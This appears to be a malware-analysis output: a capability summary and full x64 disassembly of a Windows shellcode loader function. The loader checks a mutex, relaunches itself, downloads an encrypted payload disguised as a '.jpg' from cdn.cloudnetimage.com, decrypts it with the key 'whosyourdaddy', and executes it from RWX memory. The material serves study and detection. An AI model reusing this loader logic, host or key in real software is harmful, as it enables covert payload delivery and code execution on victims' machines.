Function at 0x14004a9a0
Capabilities:
Allocate or change rwx memory
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push rbp
sub rsp, 0x9e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x958], 0xfffffffffffffffe
mov dword [rbp + 0x954], 0
mov qword [rbp + 0x948], rdx
mov dword [rbp + 0x944], ecx
xor eax, eax
mov dword [rbp + 0xfc], eax
mov dl, al
lea rcx, [rbp + 0x830]
mov qword [rbp + 0x100], rcx
mov r8d, 0x105
call fcn.140060d60
mov ecx, dword [rbp + 0xfc]
mov rdx, qword [rbp + 0x100]
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov r8d, 0x104
call rax
mov rdx, qword [rbp + 0x100]
lea rcx, [rbp + 0x810]
mov qword [rbp + 0x108], rcx
call fcn.140001f20
mov rdx, qword [rbp + 0x108]
lea rcx, [0x1400a29b8]
call fcn.14003fd10
jmp 0x14004aa43
lea rcx, [0x1400a29b8]
lea rdx, [0x140090df4]
call fcn.1400191c0
jmp 0x14004aa5b
lea rcx, [rbp + 0x7f0]
call fcn.14000bf70
mov dword [rbp + 0x7ec], 0xffffffff
mov dword [rbp + 0x7e8], 1
mov eax, dword [rbp + 0x7e8]
cmp eax, dword [rbp + 0x944]
jge 0x14004ac55
mov rax, qword [rbp + 0x948]
movsxd rcx, dword [rbp + 0x7e8]
mov rdx, qword [rax + rcx*8]
lea rcx, [rbp + 0x7c8]
call fcn.140001f20
jmp 0x14004aab0
lea rcx, [rbp + 0x7c8]
lea rdx, str._key
call fcn.14004be10
test al, 1
jne 0x14004aad0
jmp 0x14004ab22
mov eax, dword [rbp + 0x7e8]
sub eax, 0x83b8734a
add eax, 1
add eax, 0x83b8734a
cmp eax, dword [rbp + 0x944]
jge 0x14004ab22
mov rax, qword [rbp + 0x948]
mov ecx, dword [rbp + 0x7e8]
add ecx, 1
mov dword [rbp + 0x7e8], ecx
movsxd rcx, ecx
mov rdx, qword [rax + rcx*8]
lea rcx, [rbp + 0x7f0]
call fcn.14000bfd0
jmp 0x14004ab1d
jmp 0x14004ac2b
lea rcx, [rbp + 0x7c8]
lea rdx, str._type
call fcn.14004be10
test al, 1
jne 0x14004ab42
jmp 0x14004abc9
xor ecx, ecx
sub ecx, dword [rbp + 0x7e8]
add ecx, 0xffffffff
xor eax, eax
sub eax, ecx
cmp eax, dword [rbp + 0x944]
jge 0x14004abc9
mov rax, qword [rbp + 0x948]
mov ecx, dword [rbp + 0x7e8]
add ecx, 1
mov dword [rbp + 0x7e8], ecx
movsxd rcx, ecx
mov rdx, qword [rax + rcx*8]
lea rcx, [rbp + 0x7a8]
call fcn.140001f20
jmp 0x14004ab8b
xor eax, eax
mov edx, eax
lea rcx, [rbp + 0x7a8]
mov r8d, 0xa
call fcn.140031310
mov dword [rbp + 0xf8], eax
jmp 0x14004abac
mov eax, dword [rbp + 0xf8]
mov dword [rbp + 0x7ec], eax
lea rcx, [rbp + 0x7a8]
call fcn.140002670
jmp 0x14004ac26
lea rcx, [rbp + 0x7c8]
lea rdx, str._task
call fcn.14004be10
test al, 1
jne 0x14004abe9
jmp 0x14004ac21
xor eax, eax
mov ecx, eax
xor edx, edx
lea r8, str.iostream
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp + 0x7a0], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14004ac1c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x14004ac21
jmp 0x14004ac26
jmp 0x14004ac2b
lea rcx, [rbp + 0x7c8]
call fcn.140002670
mov eax, dword [rbp + 0x7e8]
add eax, 0xd97d6c26
add eax, 1
sub eax, 0xd97d6c26
mov dword [rbp + 0x7e8], eax
jmp 0x14004aa7b
xor eax, eax
mov ecx, eax
xor edx, edx
lea r8, str.iostream
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp + 0x798], rax
lea rcx, [rbp + 0x7f0]
call fcn.14001f8f0
test al, 1
jne 0x14004ac88
jmp 0x14004aca1
mov dword [rbp + 0x954], 1
mov dword [rbp + 0x794], 1
jmp 0x14004b89a
call fcn.14000b9b0
jmp 0x14004acab
mov rax, rsp
lea rcx, [rbp + 0x790]
mov qword [rax + 0x28], rcx
mov dword [rax + 0x20], 0
lea r8, [0x14004a680]
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov r9d, ecx
mov rcx, r9
mov rdx, r9
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xbb8
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov dword [rbp + 0x784], eax
mov ecx, dword [rbp + 0x790]
mov edx, 0x19994
lea r8, [rbp + 0x784]
call fcn.14002f3c0
jmp 0x14004ad1b
call fcn.14002eeb0
mov byte [rbp + 0xf7], al
jmp 0x14004ad2b
mov al, byte [rbp + 0xf7]
and al, 1
movzx eax, al
mov dword [rbp + 0x780], eax
cmp dword [rbp + 0x780], 0
je 0x14004ad51
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x7b24
call fcn.140031fc0
jmp 0x14004ad60
cmp dword [rbp + 0x7ec], 0xffffffff
jne 0x14004b110
mov byte [rbp + 0x77f], 1
mov dword [rbp + 0x7ec], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ecx, ecx
lea rdx, [rbp + 0x670]
mov qword [rbp + 0xe8], rdx
mov r8d, 0x104
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ecx, 0xfffffff5
call rax
mov rdx, qword [rbp + 0xe8]
mov qword [rbp + 0x668], rax
lea rcx, [rbp + 0x628]
call fcn.140001f20
jmp 0x14004adca
lea rcx, [rbp + 0x648]
lea rdx, [rbp + 0x628]
call fcn.14002e330
jmp 0x14004ade2
lea rdx, str._task__key
lea rcx, [rbp + 0x608]
call fcn.140002040
jmp 0x14004adfa
lea rcx, [rbp + 0x5c8]
lea rdx, [rbp + 0x7f0]
call fcn.140014630
jmp 0x14004ae12
lea rcx, [rbp + 0x5e8]
lea rdx, [rbp + 0x5c8]
call fcn.14002e330
jmp 0x14004ae2a
lea rcx, [rbp + 0x608]
lea rdx, [rbp + 0x5e8]
call fcn.14004be40
jmp 0x14004ae42
lea rcx, [rbp + 0x5e8]
call fcn.1400020b0
lea rcx, [rbp + 0x608]
call fcn.140002540
mov qword [rbp + 0xe0], rax
lea rcx, [rbp + 0x648]
call fcn.140002540
mov r9, qword [rbp + 0xe0]
mov r8, rax
mov rcx, qword [rbp + 0x668]
lea rdx, [0x140091abe]
call section..text
jmp 0x14004ae8f
mov qword [rbp + 0x5c0], 0xea60
test byte [rbp + 0x77f], 1
je 0x14004aee9
cmp dword [rbp + 0x7ec], 5
jne 0x14004aed5
mov byte [rbp + 0x77f], 0
mov dword [rbp + 0x7ec], 0
mov qword [rbp + 0x5c0], 0x493e0
jmp 0x14004aee4
mov eax, dword [rbp + 0x7ec]
sub eax, 0xffffffff
mov dword [rbp + 0x7ec], eax
jmp 0x14004aee9
xorps xmm0, xmm0
movaps xmmword [rbp + 0x5a0], xmm0
movaps xmmword [rbp + 0x590], xmm0
movaps xmmword [rbp + 0x580], xmm0
movaps xmmword [rbp + 0x570], xmm0
movaps xmmword [rbp + 0x560], xmm0
movaps xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x5b0], 0
mov dword [rbp + 0x550], 0x68
movaps xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], 0
mov edx, dword [rbp + 0x7ec]
lea rcx, [rbp + 0x4f0]
call fcn.14004c450
jmp 0x14004af54
lea rcx, [rbp + 0x470]
lea rdx, [rbp + 0x670]
call fcn.140001f20
jmp 0x14004af6c
lea r8, str.__key
lea rcx, [rbp + 0x490]
lea rdx, [rbp + 0x470]
call fcn.14004c480
jmp 0x14004af8b
lea rcx, [rbp + 0x4b0]
lea rdx, [rbp + 0x490]
lea r8, [rbp + 0x7f0]
call fcn.14004c730
jmp 0x14004afaa
lea r8, str.__type
lea rcx, [rbp + 0x4d0]
lea rdx, [rbp + 0x4b0]
call fcn.14004c480
jmp 0x14004afc9
lea rcx, [rbp + 0x510]
lea rdx, [rbp + 0x4d0]
lea r8, [rbp + 0x4f0]
call fcn.14004c120
jmp 0x14004afe8
lea rcx, [rbp + 0x4d0]
call fcn.140002670
lea rcx, [rbp + 0x4b0]
call fcn.140002670
lea rcx, [rbp + 0x490]
call fcn.140002670
lea rcx, [rbp + 0x470]
call fcn.140002670
lea rcx, [rbp + 0x4f0]
call fcn.140002670
lea rcx, [rbp + 0x510]
call fcn.140002440
mov rdx, rax
xor eax, eax
mov r9d, eax
xor eax, eax
lea r10, [rbp + 0x550]
lea rax, [rbp + 0x530]
mov rcx, r9
mov r8, r9
mov dword [rsp + 0x20], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x48], rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
cmp eax, 0
jne 0x14004b0a2
mov dword [rbp + 0x954], 1
mov dword [rbp + 0x794], 1
jmp 0x14004b0d5
mov rcx, qword [rbp + 0x530]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x538]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0x5c0]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x794], 0
lea rcx, [rbp + 0x510]
call fcn.140002670
cmp dword [rbp + 0x794], 0
jne 0x14004b0f3
jmp 0x14004ae9a
lea rcx, [rbp + 0x608]
call fcn.1400020b0
lea rcx, [rbp + 0x648]
call fcn.1400020b0
jmp 0x14004b89a
call fcn.140030080
mov byte [rbp + 0xdf], al
jmp 0x14004b120
mov al, byte [rbp + 0xdf]
test al, 1
jne 0x14004b133
jmp 0x14004b146
lea rax, [0x140091679]
mov qword [rbp + 0xd0], rax
jmp 0x14004b159
lea rax, [0x140091725]
mov qword [rbp + 0xd0], rax
jmp 0x14004b159
mov rdx, qword [rbp + 0xd0]
lea rcx, [rbp + 0x450]
call fcn.140001f20
jmp 0x14004b171
lea rcx, [rbp + 0x410]
call fcn.14002f730
jmp 0x14004b182
lea rcx, [rbp + 0x430]
lea rdx, [rbp + 0x410]
call fcn.14002e550
jmp 0x14004b19a
lea rcx, [rbp + 0x318]
mov edx, 3
mov r8d, 1
call fcn.140030160
jmp 0x14004b1b6
lea rcx, [rbp + 0x328]
lea rdx, [0x140090c76]
call fcn.14000c5b0
jmp 0x14004b1ce
lea rcx, [rbp + 0x328]
lea rdx, str._mid_:_
call fcn.14000c5b0
mov qword [rbp + 0xc8], rax
jmp 0x14004b1ed
mov rcx, qword [rbp + 0xc8]
lea rdx, [rbp + 0x430]
call fcn.14004c780
mov qword [rbp + 0xc0], rax
jmp 0x14004b20c
mov rcx, qword [rbp + 0xc0]
lea rdx, [0x140091768]
call fcn.14000c5b0
jmp 0x14004b224
lea rcx, [rbp + 0x328]
lea rdx, str._sys_:
call fcn.14000c5b0
mov qword [rbp + 0xb8], rax
jmp 0x14004b243
mov rcx, qword [rbp + 0xb8]
lea rdx, [rbp + 0x450]
call fcn.14004c780
mov qword [rbp + 0xb0], rax
jmp 0x14004b262
mov rcx, qword [rbp + 0xb0]
lea rdx, [0x140091769]
call fcn.14000c5b0
jmp 0x14004b27a
lea rax, [rbp + 0x328]
mov qword [rbp + 0xa8], rax
mov edx, dword [rbp + 0x7ec]
lea rcx, [rbp + 0x2d8]
call fcn.14004c450
jmp 0x14004b29f
lea rdx, str._type_:
lea rcx, [rbp + 0x2f8]
lea r8, [rbp + 0x2d8]
call fcn.14004ca20
jmp 0x14004b2be
mov rcx, qword [rbp + 0xa8]
lea rdx, [rbp + 0x2f8]
call fcn.14004c780
jmp 0x14004b2d6
lea rcx, [rbp + 0x2f8]
call fcn.140002670
lea rcx, [rbp + 0x2d8]
call fcn.140002670
lea rcx, [rbp + 0x328]
lea rdx, [0x140090c74]
call fcn.14000c5b0
jmp 0x14004b306
lea rcx, [rbp + 0x2b8]
mov qword [rbp + 0xa0], rcx
call fcn.140002930
lea rcx, [rbp + 0x2a8]
mov qword [rbp + 0x98], rcx
call fcn.14004ca80
lea rcx, [rbp + 0x298]
mov qword [rbp + 0x90], rcx
lea rdx, [rbp + 0x318]
call fcn.14004caa0
mov rdx, qword [rbp + 0x90]
mov r8, qword [rbp + 0x98]
mov r9, qword [rbp + 0xa0]
lea rcx, [rbp + 0x2c0]
call fcn.14004cd50
jmp 0x14004b36c
lea rcx, [rbp + 0x278]
call fcn.1400529a0
jmp 0x14004b37d
lea rcx, [rbp + 0x278]
mov qword [rbp + 0x68], rcx
call fcn.14000c300
mov rcx, qword [rbp + 0x68]
mov qword [rbp + 0x78], rax
call fcn.14003ede0
mov qword [rbp + 0x88], rax
lea rcx, [rbp + 0x2c0]
mov qword [rbp + 0x70], rcx
call fcn.140030730
mov rcx, qword [rbp + 0x70]
mov qword [rbp + 0x80], rax
call fcn.14004d0b0
mov rcx, qword [rbp + 0x78]
mov r8, qword [rbp + 0x80]
mov r9, qword [rbp + 0x88]
mov rdx, rax
mov rax, rsp
mov qword [rax + 0x20], rcx
lea rcx, [rbp + 0x260]
call fcn.140053470
jmp 0x14004b3ee
lea rcx, [rbp + 0x260]
mov qword [rbp + 0x58], rcx
call fcn.140030730
mov rcx, qword [rbp + 0x58]
mov qword [rbp + 0x60], rax
call fcn.14004d0b0
mov r8, qword [rbp + 0x60]
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.140030c60
jmp 0x14004b423
lea rcx, [rbp + 0x240]
lea rdx, [rbp + 0x278]
call fcn.14001fab0
jmp 0x14004b43b
mov qword [rbp + 0x238], 0
mov dword [rbp + 0x234], 0
lea rcx, [rbp + 0x240]
mov qword [rbp + 0x40], rcx
call fcn.14000c300
mov rcx, qword [rbp + 0x40]
mov qword [rbp + 0x48], rax
call fcn.14003ede0
mov rcx, qword [rbp + 0x48]
mov r9, rax
mov rax, rsp
lea rdx, [rbp + 0x234]
mov qword [rax + 0x30], rdx
lea rdx, [rbp + 0x238]
mov qword [rax + 0x28], rdx
mov qword [rax + 0x20], rcx
mov qword [rax + 0x40], 0
mov qword [rax + 0x38], 0
lea rcx, str.cdn.cloudnetimage.com
lea r8, str.___jpg_n_xmT7w3wuXUjrBKeCNo_oDLBlNPdRo07IK4VzYxcD1_zsHAmlEgY1ZeMfEznR56xqgWAzd0SxL4
mov dx, 0x1bb
call fcn.140055fc0
mov byte [rbp + 0x57], al
jmp 0x14004b4c0
mov al, byte [rbp + 0x57]
test al, 1
jne 0x14004b4d0
jmp 0x14004b828
cmp dword [rbp + 0x234], 0xc8
jbe 0x14004b828
lea rcx, [rbp + 0x210]
mov qword [rbp + 0x38], rcx
call fcn.140002930
mov r9, qword [rbp + 0x38]
mov rdx, qword [rbp + 0x238]
mov eax, dword [rbp + 0x234]
mov r8, rdx
add r8, rax
lea rcx, [rbp + 0x218]
call fcn.14004d0e0
jmp 0x14004b518
mov eax, dword [rbp + 0x234]
mov r8d, eax
mov rdx, qword [rbp + 0x238]
lea rcx, [rbp + 0x1f0]
call fcn.14004d180
jmp 0x14004b539
lea rcx, [rbp + 0x1f0]
mov qword [rbp + 0x30], rcx
call fcn.14000c300
mov rcx, qword [rbp + 0x30]
mov r8, rax
add r8, 0xffffffffffffffdf
lea rdx, [rbp + 0x1d0]
mov r9, 0xffffffffffffffff
call fcn.140031280
jmp 0x14004b56c
lea rcx, [rbp + 0x1f0]
mov qword [rbp + 0x28], rcx
call fcn.14000c300
mov rcx, qword [rbp + 0x28]
mov r9, rax
add r9, 0xffffffffffffffdf
xor eax, eax
mov r8d, eax
lea rdx, [rbp + 0x1b0]
call fcn.140031280
jmp 0x14004b59d
lea rcx, [rbp + 0x198]
lea rdx, [rbp + 0x1b0]
call fcn.140031130
jmp 0x14004b5b5
lea rcx, [rbp + 0x1d0]
mov qword [rbp], rcx
call fcn.14000c300
mov rcx, qword [rbp]
mov qword [rbp + 0x10], rax
call fcn.14003ede0
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x198]
mov qword [rbp + 8], rcx
call fcn.140030730
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x18], rax
call fcn.14004d0b0
mov rcx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
mov r9, qword [rbp + 0x20]
mov rdx, rax
mov rax, rsp
mov qword [rax + 0x20], rcx
lea rcx, [rbp + 0x180]
call fcn.140053b90
jmp 0x14004b61a
lea rcx, [rbp + 0x180]
lea rdx, [rbp + 0x168]
mov qword [rbp - 8], rdx
call fcn.14004d200
mov rcx, qword [rbp - 8]
lea rdx, [rbp + 0x170]
mov r8d, socket
call fcn.14004d290
jmp 0x14004b64c
mov rax, qword [rbp + 0x170]
mov qword [rbp + 0x178], rax
lea rcx, [rbp + 0x180]
mov qword [rbp - 0x10], rcx
lea rdx, [rbp + 0x158]
call fcn.14004d200
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x158]
mov qword [rbp + 0x160], rax
mov r8, qword [rbp + 0x160]
mov r9, qword [rbp + 0x178]
lea rdx, [rbp + 0x150]
call fcn.140030900
jmp 0x14004b6a2
lea rcx, [rbp + 0x130]
lea rdx, [rbp + 0x7f0]
call fcn.14002d4d0
jmp 0x14004b6ba
xor eax, eax
mov edx, eax
lea rcx, [rbp + 0x130]
call fcn.140025120
mov qword [rbp - 0x18], rax
jmp 0x14004b6d3
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x128], rax
lea rcx, [rbp + 0x130]
call fcn.14000c300
mov edx, eax
mov rcx, qword [rbp + 0x128]
lea r8, str.whosyourdaddy
call fcn.1400521a0
jmp 0x14004b704
lea rcx, [rbp + 0x180]
lea rdx, [rbp + 0x130]
call fcn.1400526c0
jmp 0x14004b71c
lea rcx, [rbp + 0x180]
mov qword [rbp - 0x20], rcx
call fcn.140030730
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 4
call rax
mov rcx, qword [rbp - 0x20]
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp - 0x30], rax
call fcn.14004d0b0
mov rcx, qword [rbp - 0x20]
mov qword [rbp - 0x28], rax
call fcn.140030730
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
mov r8, rax
call fcn.140060900
mov rcx, qword [rbp - 0x20]
call fcn.140030730
mov rdx, rax
mov rcx, qword [rbp + 0x120]
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, 0x40
lea r9, [rbp + 0x11c]
call rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x110]
call rax
jmp 0x14004b7c3
mov rcx, qword [rbp + 0x238]
call fcn.140067240
lea rcx, [rbp + 0x130]
call fcn.140002670
lea rcx, [rbp + 0x180]
call fcn.1400306e0
lea rcx, [rbp + 0x198]
call fcn.1400306e0
lea rcx, [rbp + 0x1b0]
call fcn.140002670
lea rcx, [rbp + 0x1d0]
call fcn.140002670
lea rcx, [rbp + 0x1f0]
call fcn.140002670
lea rcx, [rbp + 0x218]
call fcn.1400306e0
jmp 0x14004b82d
jmp 0x14004b82d
mov dword [rbp + 0x954], 0
mov dword [rbp + 0x794], 1
lea rcx, [rbp + 0x240]
call fcn.140002670
lea rcx, [rbp + 0x260]
call fcn.1400306e0
lea rcx, [rbp + 0x278]
call fcn.140002670
lea rcx, [rbp + 0x2c0]
call fcn.1400306e0
lea rcx, [rbp + 0x318]
call fcn.140030490
lea rcx, [rbp + 0x430]
call fcn.140002670
lea rcx, [rbp + 0x450]
call fcn.140002670
jmp 0x14004b89a
lea rcx, [rbp + 0x7f0]
call fcn.140002670
lea rcx, [rbp + 0x810]
call fcn.140002670
mov eax, dword [rbp + 0x954]
add rsp, 0x9e0
pop rbp
ret